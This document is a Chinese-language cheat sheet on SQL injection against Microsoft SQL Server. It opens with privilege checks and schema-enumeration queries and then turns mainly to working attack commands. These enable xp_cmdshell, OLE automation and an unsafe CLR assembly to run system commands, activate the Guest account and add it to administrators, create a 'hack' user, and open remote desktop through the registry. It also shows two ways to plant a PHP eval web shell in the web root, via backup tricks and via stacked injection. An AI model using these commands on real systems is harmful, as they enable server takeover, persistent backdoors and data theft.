##mssql注入1433 ，数据库后缀名是.mdf，注释符是–。延时命令：WAITFOR DELAY '0:0:2'
sa权限：数据库操作、文件管理、命令执行、注册表读取等system。是最高权限
db权限：文件管理、数据库操作等权限
public权限：数据库操作guest-users
###判断当前用户权限
判断是否为SA权限 select is_srvrolemember('sysadmin') 判断是否为db_owner权限 select is_member('db_owner') 判断是否为public权限 select is_srvrolemember()
master数据库：master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
model数据库： model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时，SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后，该数据库的所有多余空间都将被空页填满。
msdb数据库：msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义，会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库：tempdb数据库是一个非常特殊的数据库，供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如，排序时要用到tempdb数据库。数据被放进tempdb数据库，排完序后再把结果返回给用户。每次SQL Server重新启动，它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
select @@version; #查询数据库的版本 select @@servername; #查询服务名 select host_name(); #查询主机名，如果是用navicat远程连接的话，主机名是本地的名字 select db_name(); #查询当前数据库名 select db_name(1); #查询第一个数据库名 select db_name(2); #查询第二个数据库名 select user; #查询当前数据库的拥有者，结果为 dbo。dbo是每个数据库的默认用户，具有所有者权限，全称：datebaseOwner ，即DbOwner use tempdb #切换到tempdb表 top n #查询前n条记录 limit 2,3 #查询第2条开始的3条数据，也就是2,3,4 select substring('string',2,1) #截取给定字符串的索引为2的1个字符 select ascii('a') #查询给定字符串的ascii值 select len('string') #查询给定字符串的长度 EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小 sp_spaceused '表名' #查询指定表名的大小 EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1; 判断是否是SA权限 select is_srvrolemember('sysadmin') 判断是否是db_owner权限 select is_member('db_owner') 判断是否是public权限 select is_srvrolemember('public') #数据库的连接 server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB count(name)是查询总数 name是查询名字 *是查询详细信息 #查询数据库 select count(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候，才能执行该命令 select name from sysdatabases #查询数据库的名字 select * from sysdatabases #查询所有数据库的信息 #查询数据表 select count(name) from sysobjects where type='U' #查询当前数据库中表的个数 select name from sysobjects where type='U' #查询当前数据库中所有表的名字 select * from sysobjects where type='U' #查询当前数据库的所有表的详细信息 select count(name) from test..sysobjects where xtype='U' #查询指定test数据库中表的个数 select name from test..sysobjects where xtype='U' #查询指定test数据库中表的名字 select * from test..sysobjects where xtype='U' #查询指定test数据库中表的详细信息 #查询列 select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的个数 select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列的名字 select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的详细信息 select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数 select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列的名字 select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息 #查询数据 select count(*) from test..users #查询test数据库user表的数据的条数 select * from test..users #查询test数据库user表的所有数据
###SA权限开启xp_cmdshell获取主机权限
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
如果xp_cmdshell权限没开启的话，可以执行下面命令开启
execute('sp_configure "show advanced options",1') #将该选项的值设置为1 execute('reconfigure') #保存设置 execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1 execute('reconfigure') #保存设置 execute('sp_configure') #查看配置 execute('xp_cmdshell "whoami"') #执行系统命令 或者 exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; exec sp_configure; exec xp_cmdshell 'whoami'; 可以执行系统权限之后,前提是获取的主机权限是administrators组里的 exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码 exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户 exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组 exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
###SA权限使用sp_oacreate执行系统命令
使用sp_oacreate提权前提条件：
SQLServer数据库服务未降权（因为需要调用COM组件）
1.查看是否可以利用sp_oacreate执行系统命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
如果SQLServer阻止了对组件‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 的访问，可以使用下面的命令打开
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
可以执行命令，但是sp_oacreate执行系统命令不回显
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'
**注:**创建用户以后可以使用mstsc，进行远程桌面连接
#启用MSSQL CLR功能 exec sp_configure 'show advanced options', 1; RECONFIGURE; Exec sp_configure 'clr enabled', 1; RECONFIGURE; #为了导入了不安全的程序集，我们还需要将数据库标记为安全。 ALTER DATABASE [master] SET TRUSTWORTHY ON; #导入程序集，单独执行 CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 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WITH PERMISSION_SET = UNSAFE; #创建存储过程,单独执行 CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec; #执行命令 EXEC sp_cmdExec 'whoami'; #删除该程序集 DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];
###DB_owner权限LOG备份Getshell
目标机器存在数据库备份文件 ，也就是如果我们利用 test 数据库的话，则需要该test数据库存在数据库备份文件，而且恢复模式得是 完整模式
知道网站的绝对路径
支持堆叠注入alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式 create table cmd (a image); #创建一张表cmd，只有一个列 a，类型为image backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径 insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里 backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件 drop table cmd; #删除cmd表
<?php @eval($_POST[x]);?> 的16进制表示
其中2.php才是我们的木马文件
####DB_owner权限差异备份Getshell
知道绝对路径
支持堆叠注入create table [dbo].[test] ([cmd] [image]) declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e) declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate Drop table [test]
1.判断是否为SQLServer数据库
exists(select * from sysobjects)
2.判断当前数据库用户权限
and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为sa and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER and 1=(IS_srvrolemember('public')) //public权限,较低
SA权限时，三个都返回true，DB_OWNER时sa就返回false
and 1=(Select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
开启后，如果需要执行命令，则需要堆叠注入
目标网站注入支持堆叠注入
当前权限是SA权限
使用sqlmap的 –os-shell 无法获取到权限查找目标机器C盘下的test.txt文件 for /r c:\ %i in (test*.txt) do @echo %i #这里的文件名后缀前那个点一定要加*号 dir /s /b c:\test.txt
1.已知目标网站下有一个test.txt文件
创建表hack，并添加一个tmp的字段 create table hack (tmp varchar(1000));--
查找网站绝对路径，并将其写入表中以供查询
2.查找目标机器C盘下的test.txt路径，并将结果写入刚刚创建的hack表的tmp字段 ;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\test.txt';-- 或 ;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (test*.txt) do @echo %i'
3.
1;exec master..xp_cmdshell 'echo ^<?php @eval($_POST[x]);?^> > C:\phpstudy\www\shell.php';--
